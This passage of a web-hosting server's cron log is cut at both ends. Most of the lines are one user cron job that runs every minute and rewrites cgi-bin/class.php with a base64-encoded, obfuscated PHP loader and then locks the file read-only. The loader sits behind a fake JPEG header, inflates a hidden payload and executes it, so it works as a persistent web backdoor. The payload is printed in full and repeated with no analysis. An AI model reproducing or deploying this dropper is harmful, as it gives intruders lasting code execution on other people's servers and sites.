7JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:30:01 server CROND[11800]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 20:31:01 server CROND[11917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:32:01 server CROND[11974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:33:01 server CROND[12034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:34:01 server CROND[12097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:35:01 server CROND[12252]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 20:35:01 server CROND[12254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:35:01 server CROND[12256]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:35:01 server CROND[12255]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 20:35:01 server CROND[12257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:36:01 server CROND[12386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:37:01 server CROND[12444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:38:01 server CROND[12505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:39:01 server CROND[12571]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 20:39:01 server CROND[12572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:40:01 server CROND[12731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:40:01 server CROND[12732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:40:01 server CROND[12733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:40:01 server CROND[12734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 20:41:01 server CROND[12848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:42:01 server CROND[12912]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 20:42:01 server CROND[12914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:43:01 server CROND[12985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:44:01 server CROND[13046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 